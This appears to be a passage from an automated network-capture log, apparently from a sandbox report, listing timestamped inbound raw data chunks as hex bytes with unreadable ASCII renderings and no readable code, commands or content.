13 d8 9b 86 f8 ee a5 1e 8e f6 8e a1 db a2 cf 57 2e 18 8d 4d a0 3e 5f f9 df b5 cd 21 15 3c ed d1 30 00 30 01 8f 34 f5 ae 0b 
b4 12 53 ef 82 f5 3b 43 9d 03 6a 39 4a 8e d7 40 67 b3 de 24 b5 fc 27 35 2a 17 bd 1b de 06 2d e4 a7 90 fc 58 d3 c5 2d 1c 
12 a6 7d 52 cb 5f 9f 28 cc fb 9d dc ca 6c 37 f4 85 d4 f2 df c2 0d 50 2f a8 e5 1b 3a 0d 55 ef 05 cb 7e 21 5a a9 01 4f 18 46 
44 d2 ae 74 ab f1 e2 da f4 6e f2 1a c9 77 65 3e 97 56 ee 85 49 72 32 2c 59 fd b5 02 f7 d0 42 b7 6a 8f 2b 89 e5 68 3d c7 
7a 0b 71 28 92 9c 85 ae e6 7a cd 01 10 e0 93 65 3f 8a fd 9d af f7 86 77 05 d2 d5 9d da a9 48 33 7f b1 50 2e 0e 4f ee 95 
78 98 2d b8 bb a5 44 c8 0d e8 71 4c e7 c5 f2 31 bb 
Data Ascii: *>W)hhB#M[a8'{Q'BZdW.M>_!<004S;Cj9J@g$'5*-X-}R_(l7P/:U~!ZOFDtnwe>VIr2,YBj+h=zq(ze?wH3P.Ox-
DqL1

2022-09-20 10:10:08 UTC 4395 IN Data Raw: 02 22 61 3b ba 42 ed 02 d5 d7 d5 24 87 c7 e3 c5 c1 5f ca 4b 47 33 67 ad 8c 4c e1 d5 41 c8 01 3b 22 a3 ba 80 
78 72 61 1e e5 a3 2f 60 8b 5c d2 92 b3 43 6d 54 f5 83 bf f8 f7 c9 4b 31 be 8d ba 33 e2 d5 c4 3e 5f b6 61 97 80 2a 70 60 
6d 8c 66 0f 45 26 05 76 ed 44 31 6a 0a 9f 4d 81 21 44 1c 5a 83 32 bc c6 07 a9 97 e7 33 fa 2a fd ba 1c ca 71 90 57 18 66 
05 e9 f3 47 94 37 71 45 df 1c bd c1 72 1e b9 1a 69 dd be d5 bf 53 5e 56 2c 0e 09 f1 18 be 60 4f 1c 43 6c c7 2b f1 1e f6 d5 
9d 24 14 64 21 e1 97 9f c4 43 37 0a bd 8d 16 cf 48 96 43 c3 59 36 a4 28 b5 72 1d 76 50 0e a3 b3 0f 0b 23 cf b1 64 9c ef 
7f 1f 44 8a d2 c8 22 bb 5c f2 3e 30 a5 62 8c 0f 05 78 63 7c e4 af 50 9a ec fe 8f 16 b6 c3 d7 52 ff fb 72 ed bf e3 e2 8f a9 12 
a5 c3 f7 b7 b0 2d f1 b6 50 37 cf 03 81 3a d9 5e 
Data Ascii: "a;B$_KG3gLA;"xra/`\CmTK13>_a*p`mfE&vD1jM!DZ23*qWfG7qEriS^V,`OCl+$d!C7HCY6(rvP#dD"\>0bxc
|PRr-P7:^

2022-09-20 10:10:08 UTC 4403 IN Data Raw: 53 fd 7d 17 8a 84 68 b1 82 42 a3 98 ca bd 17 24 0c 57 1f 7b fc 68 97 08 34 7e bd 9d f7 9f 3f 6e 4f d0 a7 5c 09 
e3 71 72 42 05 5e 51 c1 53 db 8d 71 58 d1 6e 89 5b ab a7 7e ca f3 b1 12 cf fa e0 7c c4 f5 03 13 c6 73 42 68 9a 14 9b 8f 
1a 07 63 a0 39 19 bd cd 8c 57 a2 bd 88 fd 46 0f 8a 5a d0 be a3 0f 19 71 3d 70 4c c3 59 9d e4 a9 3a 0c eb bf 67 46 1f 3c 
39 01 83 8e a6 a4 35 53 0c 9f ae 68 d7 6f 1c 5f de 50 5a af fc 94 cd 08 a3 3a 70 78 8d af f9 9f b2 d8 92 f6 a9 29 b6 5c 90 
c4 62 0b 45 a4 0a f8 b2 41 68 71 16 93 04 83 9b 1f b9 ea d6 c8 e5 76 15 83 f2 6f 8e de 6b 33 e3 52 2e 76 65 fe ac 2e 76 
39 17 7b 41 52 c9 c2 d3 25 3e a0 89 48 95 af cc 2a 69 54 99 17 cc 91 20 13 48 a7 1b fd 40 ee e4 0b d9 5c bc 39 29 e9 57 
ed 22 63 65 0a 8e 47 3a a2 18 74 34 98 76 fe 12 17 
Data Ascii: S}hB$W{h4~?nO\qrB^QSqXn[~|sBhc9WFZq=pLY:gF<95Sho_PZ:px)\bEAhqvok3R.ve.v9{AR%>H*iT H@\9)W
"ceG:t4v

2022-09-20 10:10:08 UTC 4411 IN Data Raw: 8f 7f 84 2c 45 55 34 39 ac ba 85 38 cf 40 f7 59 4d 21 fe a8 0f e2 33 c9 ae 93 12 9b 35 f0 bc fc 8f c7 c1 f3 cb 2b 
19 e0 fe c7 c3 73 c5 1f 4d 3c 0f f8 2f 78 f6 73 23 ae 81 c7 c3 b3 4b 64 48 3d 1e 9e 7f 78 5c 62 11 c5 20 a5 71 8f 88 0f 06 
d9 8d 78 84 f1 77 85 e8 f1 e0 e3 8d c4 aa c7 b9 ad 33 8e 37 12 f7 60 5b 63 61 39 8e dc 25 b5 d0 96 62 4b 8d 41 cb 74 f8 
a3 a6 11 07 83 b7 69 a0 c5 b1 97 a0 81 3e 30 a2 c5 69 63 eb b3 eb 5c 6b d5 ca 2a 71 6d e1 90 c7 25 23 b8 0c 7e a2 8a 
95 a7 c4 13 5e 2a 76 43 b3 b0 bf c6 9d 07 a3 8d 27 14 be 03 be 19 e8 b4 a1 e8 ce 11 68 b7 5e 78 51 97 2f 3c 97 a9 c3 
53 c9 2d ba 05 b5 b8 8a 04 f7 f9 88 b9 0f da 11 f4 23 80 21 e2 27 56 e1 f9 0f 29 31 e1 19 ad 3d 86 72 75 0b 9f c5 9d 41 
1c 16 c5 7e 45 e2 a8 50 53 45 ee e8 81 eb d9 3e 64 94 
Data Ascii: ,EU498@YM!35+sM</xs#KdH=x\b qxw37`[ca9%bKAti>0ic\k*qm%#~^*vC'h^xQ/<S-#!'V)1=ruA~EPSE>d

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4419 IN Data Raw: f3 ec 44 11 67 c8 e8 c7 3d 57 24 f6 a3 66 e2 f1 fa 71 fe 7f ed c7 3b 93 ba f5 e3 48 70 05 66 fe d9 9a b9 b6 55 
b4 f5 c4 24 3e 92 b4 2f 2e d5 88 39 b6 44 a4 fe 12 97 6a 74 e5 46 48 d5 6a f7 88 b7 d9 d8 8f 5a 5d bc 5d 07 6f 91 da 7d 
e2 6d fd 21 72 4c 75 b5 c7 d5 23 09 e1 e0 64 aa c7 2d de c6 4e 92 8c 90 8c 87 ac 64 f2 eb 55 68 70 f4 58 a3 1b c6 fc c7 
b3 68 a2 db 68 3f ae 20 71 9a 8c bc ca d0 01 6f 30 5c da 96 d1 80 69 bd ec fb 22 77 78 33 3b d4 64 fd 6d cc 54 eb 16 92 
d2 ad 4e 32 e9 c3 70 f6 51 79 73 be 78 02 dd 44 a8 42 fd 30 9e 6a 89 4b 1b ed 56 4b dc 91 65 84 8d 9f d5 cd 86 fe d4 0b 
ef 78 54 9d 58 a6 74 ac 64 d6 52 c4 7e 89 e5 54 0b 7c c1 9d 13 fd 11 c8 a0 a2 83 ba 1c c2 db 52 b4 f1 ee f0 b6 40 61 8b 
e5 78 03 61 6a b4 07 33 ef a8 c0 cc 24 43 2e a3 cc 1e 
Data Ascii: Dg=W$fq;HpfU$>/.9DjtFHjZ]]o}m!rLu#d-NdUhpXhh? qo0\i"wx3;dmTN2pQysxDB0jKVKexTXtdR~T|R@axa
j3$C.

2022-09-20 10:10:08 UTC 4426 IN Data Raw: 6e dd 13 5a 7e 5e bc ba 86 56 c1 2c 68 ac aa 33 41 2f 0d af f0 06 a7 42 29 73 78 45 4e f0 3a 70 e9 86 57 f8 
82 e5 e0 68 0e af c8 0d 96 e8 93 39 6e 94 12 8e 43 c7 a8 6a 24 d5 83 1f ed d1 75 9e 2d a1 66 67 9d e7 31 cd 69 3d f5 04 
d9 f4 73 97 b9 a0 10 1a e8 58 50 8b c4 e7 df 86 21 a6 2a 5b 0f a5 49 b1 b9 b6 ad ae c6 7d 24 14 77 aa a3 e1 c0 63 82 47 
db 5d 37 a5 d7 07 70 6e ea 33 e7 a7 ee a1 91 5a 20 2f 14 cd d1 1e f2 14 ef 0e 1e 67 20 65 ee 0f b4 89 5e 9e b2 89 a6 81 
2c bc b4 4f a9 bb 2b 6f 1a bd 10 a6 14 b6 34 e2 e8 05 67 98 19 f0 d8 55 ff 76 54 04 56 02 97 9f d2 fc 3d 56 27 3e e6 d2 
c7 28 01 f1 35 4a 21 43 8e a4 18 bd 92 0f de 2d 15 68 4a 08 d6 7c 2c 21 43 7a 90 9b d7 e0 28 c0 3d 76 34 e5 a3 c3 ed 
88 5d 94 f2 31 1a 4d 77 c4 b2 93 11 a3 87 dc c9 23 fc 85 05 
Data Ascii: nZ~^V,h3A/B)sxEN:pWh9nCj$u-fg1i=sXP!*[I}$wcG]7pn3Z /g e^,O+o4gUvTV=V'>(5J!C-hJ|,!Cz(=v4]1Mw#

2022-09-20 10:10:08 UTC 4434 IN Data Raw: e0 b7 11 64 9d db e8 64 bc 82 47 d5 ce 31 8a 5b 91 3d d8 3a 02 b3 50 ee 95 68 08 f9 63 c8 81 03 b3 08 b6 31 
74 29 ed 57 e8 14 4a a0 c9 2d 9f 70 1b 69 8f 50 da 09 3d 2d e6 e6 95 78 13 95 90 8f 03 19 c5 d1 86 88 77 37 14 7f 94 e2 
8f 9b e2 07 ec 40 3c 9e f1 47 29 55 8b 77 52 bc 17 a7 2d 4a e5 95 74 a4 69 5f 9d ec 8b 38 49 96 f7 40 1b f2 be 46 f1 80 
e0 39 20 fc 25 fb 31 f2 5a 87 91 f7 cb 66 d0 fd 9a d6 58 f2 2a ed 4b e8 07 a9 b2 e6 00 fe aa 16 3e 28 e6 5b 3a ab 46 e2 
a9 45 ac 59 d4 e5 e4 64 30 e0 89 52 b4 e8 07 f1 35 cc c5 9a 5e aa 5e 86 b2 4b 33 55 99 b2 3a 94 00 5d fa 96 42 4f a8 5f 
55 0b 14 d2 f9 33 29 d6 4d 5f bf 78 3e 29 6f f5 c1 83 a7 49 cf e5 3e 78 d0 3c 69 77 e4 a4 0a 8b 39 e7 da 01 5e 8f c3 4e af 
55 e5 90 18 53 ae 38 68 0a 89 06 8c ff 9e fb 29 4c 96 
Data Ascii: ddG1[=:Phc1t)WJ-piP=-xw7@<G)UwR-Jti_8I@F9 %1ZfX*K>([:FEYd0R5^^K3U:]BO_U3)M_x>)oI>x<iw9^N
US8h)L

2022-09-20 10:10:08 UTC 4442 IN Data Raw: bb 0e 79 e0 8c b8 3d d6 23 bb 91 0e a3 9b fb 91 86 b6 70 04 7e f1 d5 f5 28 9f 8d 0f fa 51 3e 0f e9 32 74 64 1c 
d2 e5 48 e7 23 5d 81 f4 21 d4 15 46 29 ca c2 ed b4 9f 6d 82 47 1b 9d 4c 52 f4 a6 63 48 cf 40 fa 38 d2 65 48 7f 8e 74 39 
d2 31 a4 2b 90 fe 12 e9 4a a4 fb 90 ae a2 74 eb d7 80 6b 35 3a 79 0a 1f 6d 43 fa 5b 3e 28 37 d9 59 3c 21 0b 9b d7 51 57 
5a c5 4e 11 4e 6d fc 2c 5f 8f 90 3a 8c 56 e8 55 36 47 ca 58 aa 51 ed 20 e0 46 48 f6 d3 d4 2c a4 b3 91 ce 40 7a 0c d2 50 
11 38 e5 9c 97 99 50 11 d0 23 b9 e2 f0 f3 a7 ec 43 d1 e2 8a 3e 26 00 eb ad 33 a0 22 c0 9d 56 e4 5b a7 0f e3 ad 54 99 48 
69 2d 93 e1 f1 6b 9a 95 e3 b7 52 25 56 aa d4 4a cd 10 29 7c 25 82 6d 59 fb 71 ce 73 26 93 f8 90 e5 4a 9c ba e8 ad e5 d2 
a8 6f af 23 a8 54 08 27 1c b9 04 95 08 f2 d5 72 8c b0 
Data Ascii: y=#p~(Q>2tdH#]!F)mGLRcH@8eHt91+Jtk5:ymC[>(7Y<!QWZNNm,_:VU6GXQ FH,@zP8P#C>&3"V[THi-
kR%VJ)|%mYqs&Jo#T'r

2022-09-20 10:10:08 UTC 4450 IN Data Raw: 00 d1 fb d6 6b cb a6 90 92 68 37 4f c1 c8 da 85 20 91 80 52 1e e6 93 cf 43 30 43 2f 70 96 1c 70 ad 81 4b e1 
30 9e 8f 72 09 03 f7 f2 ed b0 c7 74 b5 42 83 e4 6a 78 c4 81 cb a3 22 95 72 77 45 67 8a f9 ba 89 9a 7b 04 ef 13 f7 4b a5 
3b 2e 87 e5 81 a0 97 12 f7 de ec 88 e5 3c 86 7e 4f cb b4 36 ee c9 92 71 87 7e 1f 1d 0f fd 8e be 22 ee ef f5 c7 44 f9 b0 11 
74 32 85 f2 46 a6 11 54 38 d8 11 ae f0 94 bb 7c 2d 70 7f ce 15 9c 02 4c 19 cc 0c e1 70 a6 a6 c5 a0 37 19 b6 b5 55 ce 72 
50 9c 8f 98 fe b2 87 f9 87 6d 1f 33 ca 72 75 81 53 1d 2c 2b 0f b4 6e ff 14 4a eb e2 1f 43 6a 3c c4 ce a5 95 3b a8 fc ce 4b 
de d5 4f da c4 78 34 2e 67 92 1a 0d 51 bb c8 4e c3 0b 4f 70 71 b8 d7 c4 16 6e e2 e2 c4 a1 63 9c 4d 89 c0 d6 1f 3f 4f 29 
b5 7d 9c 7f 18 b5 5c 1d cc 5a 5a 3b 9f 1f 88 50 6b 
Data Ascii: kh7O RC0C/ppK0rtBjx"rwEg{K;.<~O6q~"Dt2FT8|-pLp7UrPm3ruS,+nJCj<;KOx4.gQNOpqncM?O)}\ZZ;Pk

2022-09-20 10:10:08 UTC 4458 IN Data Raw: 3c d4 aa 0b b2 83 e5 3c ab a1 9a cf 49 1c ac 0d 38 dd 7c 8f 0c 64 d2 67 8e b3 7d 57 25 ef 55 b0 0a 20 2c aa 
79 4f 90 2f 81 cc 29 87 7f 40 ee f7 27 0e 54 90 4d 27 9b 0b b3 2e 48 f3 f2 20 16 9f 45 74 d5 c6 42 05 dc 6b 4d c0 00 36 
0d 68 68 cd dc 20 da 5f c8 da 0f 77 65 7e 46 bf 95 79 ba e5 30 cc 53 04 ec d4 e2 a0 74 c2 16 6f e6 49 61 d7 53 7a 5a 1f 
6b b2 0e fc 09 1b d5 6d 7f a2 15 fc de 57 01 67 ab 2b 53 26 ed 80 9c e9 15 82 9e a4 cf 1c 63 e3 5f 66 df 2b a7 05 cc 8d 
78 af 74 61 bc 67 fb b7 0f e5 d9 b0 70 81 4a 99 d3 82 72 d5 66 26 2b 76 bc 15 01 73 03 96 2f 01 5a dc 99 a9 38 db 8b 1e 
d4 1f 83 17 69 6b 53 08 c2 6a 59 2f 85 c0 53 0d 67 3c 62 21 f0 ef 1b 6e b6 9e 86 c3 a3 ab 62 a4 e6 8d b7 03 0e fb 19 9b 
42 e0 c6 26 c8 16 d3 30 6f 23 d8 cd 58 8f 60 4a 22 16 02 
Data Ascii: <<I8|dg}W%U ,yO/)@'TM'.H EtBkM6hh _we~Fy0StoIaSzZkmWg+S&c_f+xtagpJrf&+vs/Z8ikSjY/Sg<b!nb
B&0o#X`J"

2022-09-20 10:10:08 UTC 4466 IN Data Raw: b1 a0 a4 e1 77 6e cc 49 04 1d b8 db f2 dd 08 72 83 af 30 95 36 8a ab 7c 93 e5 1b c8 21 ef 57 7d 15 4a f8 14 
a2 18 74 13 b5 7f 60 f4 66 3a 1b e5 5b 8b 83 68 05 7e e1 a7 4c 59 cb 1a b8 cb d0 77 28 a1 06 71 bc ab b6 19 21 4f da 58 
43 5e b5 94 fb f2 63 7d 1f 44 43 66 7e 7c 86 19 ae a1 01 de 40 45 a5 96 8a a4 0f 72 52 46 8b 3e 60 32 10 d6 e8 3c 89 d8 
c9 0a cb cc 22 82 11 60 09 6c 4c 0d 4e 4c ed 87 62 6f 71 3e 67 99 ba 80 b2 f2 3a 9a ee 0a 36 09 44 4a 11 ec 01 10 0f 90 
ef ad 81 14 65 19 44 69 53 1a 8b 9c 7a 0b 9c 1d 5b be 48 e7 3f 5c 2d fb 3c bd 76 82 1c 52 1a 27 a4 f4 82 37 01 2d e6 06 
43 11 ec 65 d9 3b c1 96 a4 1d e5 a5 bf 24 15 b9 28 52 ea 49 55 1a 9d 2d fb c0 2a 59 aa 34 8e e6 ca e5 04 a8 a6 0f ff 89 
15 8c 17 15 c0 29 31 a5 d4 17 c8 6e e1 f2 2c 00 35 13 8b 
Data Ascii: wnIr06|!W}Jt`f:[h~LYw(q!OXC^c}DCf~|@ErRF>`2<"`lLNLboq>g:6DJeDiSz[H?\-<vR'7-Ce;$(RIU-*Y4)1n,5

2022-09-20 10:10:08 UTC 4473 IN Data Raw: 3c 0d 24 db 54 0b 6d 32 05 94 36 03 09 cb c9 86 14 e5 64 44 b8 ad 8d 76 4a 93 02 50 77 19 91 6e f9 ef f0 d4 
ff 86 18 aa 0b 67 bf a7 00 c6 62 3c a8 3b 3d a4 a0 0d 72 1a ee 38 46 78 b8 c7 7b d0 3b 88 eb c3 30 79 8b 9a 29 90 06 01 
6b 1d c1 de f4 dd 47 f4 1d 3e ab 73 8b d8 80 f4 8c eb d9 6a 5f 56 92 06 31 6b 87 c2 de b7 d3 a5 97 a4 b1 12 2f 24 8b 84 
e1 96 f3 31 50 5c bd 80 48 de 9e a6 34 0d a0 e8 37 7c 2c a0 99 23 7d 95 65 4d 50 e3 83 08 5d 72 c3 7d 4e 40 48 6e 0c 
57 18 29 5c 6a 2e 9c 34 83 a3 4b 3c d2 01 e0 d9 17 91 a3 ff 04 3c 08 e9 24 da 4b d2 9c ea 93 28 94 4a d2 c1 66 b2 b8 
03 b1 9f 61 f8 97 42 7a 91 1e b9 cf c6 3e 52 de 5e 60 35 17 f0 73 77 d6 64 07 c5 16 2e a5 d8 c2 c1 32 c9 b8 55 0d 74 aa 
fd 52 1e 93 3f b2 55 79 c0 52 25 1e 39 78 75 9f 96 02 8a 1b be 
Data Ascii: <$Tm26dDvJPwngb<;=r8Fx{;0y)kG>sj_V1k/$1P\H47|,#}eMP]r}N@HnW)\j.4K<<$K(JfaBz>R^`5swd.2UtR?
UyR%9xu

2022-09-20 10:10:08 UTC 4481 IN Data Raw: 59 fe 16 69 5d 2f a6 7a 79 96 ce 00 d5 87 fa b0 97 71 d6 33 81 c6 8b 19 5c f8 54 58 ff e3 20 fe e1 41 cb de b0 
d3 41 cf 90 96 c5 68 03 7a 5e c2 e8 1e f0 dc fa 3a b6 03 d1 c9 4c dd ce 5d 9b f0 b7 e7 63 3c 44 90 cb b6 da 69 38 ae f0 
5d 6c 1d 26 13 41 93 fb 97 0f de 6d 51 c2 27 fa 6e 0e 0f 47 35 81 89 36 ea 8d f5 b9 2f 99 68 17 32 b4 f3 c3 27 02 9a 85 
80 76 19 b7 33 3c d1 41 c3 f0 d4 8a 39 90 a0 fb 23 08 dd 1d 98 0f 8b 93 87 87 98 f6 ba 18 65 76 f2 e6 d8 96 61 d2 ab 58 
76 bf 06 86 bb a4 a9 af e2 e5 63 cf bc d0 0f 06 76 e0 08 ad 37 05 6c b6 3f 71 4d f9 8f b6 3f 8b 07 60 20 86 04 f9 f2 c2 2a 
81 73 bc 7e 64 7f 37 86 23 8f db 2c 7d cc a5 67 ec 71 63 c0 16 5a d3 cc e7 05 de ec 45 dc c4 a7 8a cf 55 09 8e eb 01 5e 
5f 73 71 0b fe aa e0 58 a9 b5 be 13 36 df dc 9b d8 
Data Ascii: Yi]/zyq3\TX AAhz^:L]c<Di8]l&AmQ'nG56/h2'v3<A9#evaXvcv7l?qM?` *s~d7#,}gqcZEU^_sqX6

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4489 IN Data Raw: 60 52 d2 4a d8 7f 14 cf ea 88 3e a9 af 3a 8b 6d 57 1d 7d 6f 2b 5a 97 f0 dc 83 7c 9f 9e e3 89 cd f7 2a df 75 01 
75 0d ec 52 cb fa 75 0d 3d 30 f4 5d 69 17 98 5f 3c 49 d8 90 29 01 62 61 dc ca 05 6e 79 dd 39 9e a5 52 7b ab 3b fc 89 dc 
54 36 b0 7b 3a 83 ec a6 ea 64 2a f2 8a 3d fe 27 c4 af e1 81 22 2a e0 67 33 80 0d bb 67 3e 17 04 20 6d a2 17 43 e0 c3 99 
a5 65 c5 46 77 cb 4d 05 b1 f9 6e 76 9f 53 47 42 de ac fa db 5c 60 f3 58 93 35 1d 2e 32 72 e4 6e b4 0a ae 55 3a 8e 96 97 
ac 86 f7 51 e4 31 da 04 b7 b8 51 ab 7e 6d 92 57 ad f4 6a 93 7c 6a a5 4f 9b 94 ad 56 66 6b 93 fc 6a 25 fb 3d a0 56 06 b4 
49 83 d4 ca 41 da a4 21 6a e5 10 cd c3 c4 15 a5 39 27 36 61 af ea 51 27 7a c1 60 65 33 f8 32 af f3 29 df 4b 4a 33 a4 c1 
ca 2f de 25 37 3c 0f 27 c2 b6 a1 3b 80 19 63 4d e5 40 
Data Ascii: `RJ>:mW}o+Z|*uuRu=0]i_<I)bany9R{;T6{:d*='"*g3g> mCeFwMnvSGB\`X5.2rnU:Q1Q~mWj|jOVfkj%=VIA
!j9'6aQ'z`e32)KJ3/%7<';cM@

2022-09-20 10:10:08 UTC 4497 IN Data Raw: d0 85 af 44 42 2c de 50 89 1a e9 a7 90 28 1d 71 58 03 60 ec 4f d6 0b 7e 8e 62 36 cf ff eb cb b1 c9 50 ba eb 
56 30 c3 cb 41 b3 05 93 ae cf c9 26 75 59 35 d0 de a6 65 30 c7 e1 0b b5 0b 6a b5 25 80 87 fa 1a 26 b9 5f 8f dd af 1b ae 
fe a2 be 08 c1 dc 97 a2 41 ac dc 34 d1 37 5d 6d ac c2 a7 97 1c 61 86 b1 d9 bc 37 40 ae 68 5b dc 94 c0 7a 42 c6 44 32 dd 
81 a4 10 94 26 cf 47 be 31 20 81 fe c7 8c 9e 31 83 16 ba ef cf f6 8b 24 3c 25 12 e6 96 18 cd 78 46 b6 f4 0b e8 7a c0 98 
bc 7e a3 98 d9 0d 34 b3 2b 70 66 77 ca e0 02 8c ef 9a 13 11 f1 49 3e cc 3c 84 49 27 30 cc 4a 41 b3 ba 6b 7a 8b e1 5b 
ba 6d e9 fb f0 c3 19 31 e1 63 ae e0 7a d4 f9 f9 f6 6c 3b a3 0b 33 99 c2 fe 79 01 50 9a e1 d3 ce f1 16 97 7b e5 28 be 17 
97 63 a6 c4 43 68 c1 00 e9 d8 f3 cd 7d cf f8 00 db c2 7e ed 
Data Ascii: DB,P(qX`O~b6PV0A&uY5e0j%&_A47]ma7@h[zBD2&G1 1$<%xFz~4+pfwI><I'0JAkz[m1czl;3yP{(cCh}~

2022-09-20 10:10:08 UTC 4505 IN Data Raw: 27 c2 d5 ad 60 a5 f8 ac 8d f5 8e b7 bf 43 a7 99 62 df 94 30 04 58 f4 a3 e7 7d 96 2d 00 f4 0c 7d 1a 58 5f a3 fc 
29 59 59 00 17 83 a0 cd 94 95 25 78 10 da 1c d2 79 f4 07 f1 57 50 2c ff b7 a2 ac 9e 07 07 0f 68 23 51 2f 09 9e 6e c2 a7 
10 c9 1c ec 2f c9 62 9a cf 2e 1c e5 67 e0 e1 a3 76 fb 63 00 24 30 a0 86 40 9b 11 e9 4d 1a 6f 3c 2d 46 05 43 5a 88 be 85 
63 5c 6f 61 93 2a 5f da 90 0d 4e 23 62 77 f1 06 e6 cf 6f 79 f8 5a be fe 5f 11 b6 cb 55 db bc 84 da d5 b6 93 29 9e 35 a0 a0 
e4 22 bf 56 e4 8f f6 90 74 4f 4e 43 f3 d2 9c 06 db 7e 54 f9 b2 c2 af 23 59 df 13 42 d8 af 1c eb 10 3b 9f 44 48 f5 a1 22 b4 
44 1a 2f 16 c0 a9 ac 0c 24 29 2b 27 24 eb 63 aa c0 72 ea 5b 77 af 96 5e 4d 5a 8d 1b a9 56 d0 05 ca ec 14 0d 2e 69 d4 6d 
d7 a1 e3 1a 4b eb 6d b8 77 45 f7 e5 a2 7b 7d 7c 
Data Ascii: '`Cb0X}-}X_)YY%xyWP,h#Q/n/b.gvc$0@Mo<-FCZc\oa*_N#bwoyZ_U)5"VtONC~T#YB;DH"D/$)+'$cr[w^MZV
.imKmwE{}|

2022-09-20 10:10:08 UTC 4512 IN Data Raw: 4f 3d f0 5a ad 10 04 31 8a 1c ad cf 5e fa 0c 89 cc fa 50 8d 69 f2 02 91 56 42 33 7c d3 8c 1f 9f a3 3a 47 7a da 
00 16 ad 40 8a 8d 43 cb 3a 40 50 50 8c c1 81 4a 95 e0 d0 9e 90 e9 54 59 74 69 4f fe a2 99 48 a9 18 3e 6e 6c 34 eb 0b 
be 0e 64 5b a9 3e 23 76 8e 00 e0 85 65 8c 40 07 a7 90 c3 56 f8 0d df 22 82 d0 f0 12 1f df ab 5e d6 35 78 44 85 5c 3e 68 
a9 04 2f 28 f7 13 1d 2a b5 4e 37 de 9f b9 30 bd ca 14 5c 99 e2 13 6c f6 63 86 b8 32 37 40 d3 df 12 e1 31 47 86 ef 3c 8d 
e5 6f 1b b9 95 e8 80 c7 e0 f6 38 2c 59 f3 ee 7f 51 b5 27 e9 ce 2e 66 39 35 9a a7 d5 f3 bb 6a 7a 57 0a cf a1 a7 99 19 2c 
75 43 8d 86 31 f8 79 24 07 6e 82 2a 20 da 01 97 51 54 4d 16 23 83 e3 46 71 18 ad a2 f1 aa cb 49 c9 0f c5 3b 71 39 55 a2 
d1 85 cd 22 30 f4 0c f6 d5 1f da 0c 45 29 d3 13 3d 4d 7c 
Data Ascii: O=Z1^PiVB3|:Gz@C:@PPJTYtiOH>nl4d[>#ve@V"^5xD\>h/(*N70\lc27@1G<o8,YQ'.f95jzW,uC1y$n* QTM#
FqI;q9U"0E)=M|

2022-09-20 10:10:08 UTC 4520 IN Data Raw: d9 51 9c 4d 91 12 02 b4 12 8c 99 68 5c b8 d1 e1 c0 8c 5b 98 07 e6 4c 37 73 c7 2e 1f be fd 07 fb 7c f7 74 93 a2
74 14 d7 86 00 35 f2 14 51 84 82 6c e3 50 44 82 ed f9 bd 10 56 b2 41 6a 74 46 2f eb bc 21 88 7a 7d c6 33 b4 ff c1 24 7a 
47 66 40 33 38 76 8a 58 e6 ab 26 91 b5 e2 9a 64 b0 4f 14 9f dd b7 41 ec 98 6a c5 2d 9a 91 1a bf 5f 4b 78 bf fe 9a b0 5f 
2d af 77 c5 18 e2 8d 27 a1 8f df da ec bb f8 e8 a5 c1 6e dd 22 5e 6a 8d 30 26 60 9e c5 b1 d1 e7 b9 d0 c9 2e a5 7a 7f 27 
0a 2f fc 23 d0 76 e7 a3 64 9c 5a 96 fa 63 92 b2 2a 69 2a d4 91 8a de 36 65 21 30 9f 90 ab 27 02 a9 73 9c 1b e0 64 cc 73 
01 e1 f8 34 88 38 22 b0 52 65 62 a5 72 d6 e1 2a 66 ab 6d 17 2b 8b 3f eb 41 4b 28 d0 b3 91 b6 8e e6 b1 2f 21 22 66 e9 
66 07 c5 fe 84 50 1b d9 82 e9 20 e1 1b f8 f3 b9 b2 09 6b 
Data Ascii: QMh\[L7s.|tt5QlPDVAjtF/!z}3$zGf@38vX&dOAj-_Kx_-w'n"^j0&`.z'/#vdZc*i*6e!0'sds48"Rebr*fm+?AK(/!"ffP k

2022-09-20 10:10:08 UTC 4528 IN Data Raw: 91 e4 b3 c4 7a c8 31 2d c1 bb b8 21 09 2b 49 fe fa 40 ba e8 2d 03 62 09 e9 35 b6 09 f8 4f ae 69 47 68 bd 28 
a7 a1 a6 1d 20 d5 5f 0c 49 88 f5 e1 e9 62 d2 bf 88 b5 de 6a 64 ff 22 a6 18 b2 27 c0 be c7 c4 2d 11 69 5b 22 e8 65 b7 a0 
dd 9b 37 98 7a 04 f3 7d 1a bf 37 8e 89 f7 7f b7 dd ef a0 e5 aa 04 0f 42 7f 8e 5e ea ce d9 29 08 d6 53 24 26 4a d2 06 d8 
f3 f8 08 e2 0b f6 ff c3 69 1d 31 14 c5 ed 11 2f c5 1e 9a f3 13 93 73 e9 0f e3 d5 3d c2 7e 75 5f 47 57 77 21 9d 8f 21 b0 aa 
f9 c3 d3 fd e5 fa fc 26 07 82 d7 54 1d 22 5c 38 f5 f9 e0 cd 64 cb 57 82 f7 2e 70 9e 94 01 c9 f6 3b c9 fa bd c1 7a 3f 7f 0f f5 
f7 82 ec ef b3 6e fa db 07 f5 21 ad e9 46 81 1e 81 07 13 c8 c5 4b 5b a8 2f 6d a2 89 df a6 af 40 c7 aa 56 ff d0 9c 6d 66 7b 
65 95 77 0c cb 6a 38 ce 36 f3 c5 ca d4 a1 e5 
Data Ascii: z1-!+I@-b5OiGh( _Ibjd"'-i["e7z}7B^)S$&Ji1/s=~u_GWw!!&T"\8dW.p;z?n!FK[/m@Vmf{ewj86

2022-09-20 10:10:08 UTC 4536 IN Data Raw: 7a fc 81 fd c9 d2 fa c4 eb 60 d8 1a c8 0d f1 49 a4 0e 07 90 c4 27 97 60 98 f2 b5 24 3f 18 01 f8 1d b3 46 0e bf 
c0 02 22 b8 f7 d9 45 16 64 2e c6 bc 61 7c 07 6e 06 f3 d4 2f 86 b3 36 18 62 2f 09 a6 0c c4 1e 68 e9 30 b5 0e cf b5 98 f0 
a6 f7 78 c2 21 85 b4 d5 38 d4 22 1e 6a 61 c2 50 8b 13 86 2a 23 ca 5e 44 43 ed 6f 21 18 d9 ff 14 d9 7f 10 8c 2b bb d5 b1 
a9 96 8e 6d 9d c3 d4 b1 95 38 a5 8e 0d 23 24 99 a6 81 f3 9c 52 2b 2f 2d 00 40 fa 0b ba a6 c5 cc 13 ff 26 61 d0 d2 51 53 
0e fa 62 1e f4 bd 39 38 e8 ca 4e 96 cf e0 cc af e2 4e 22 bd 05 f4 40 92 07 39 91 bf 6e 97 13 79 0b cf f8 22 d6 2a a2 1f ad 
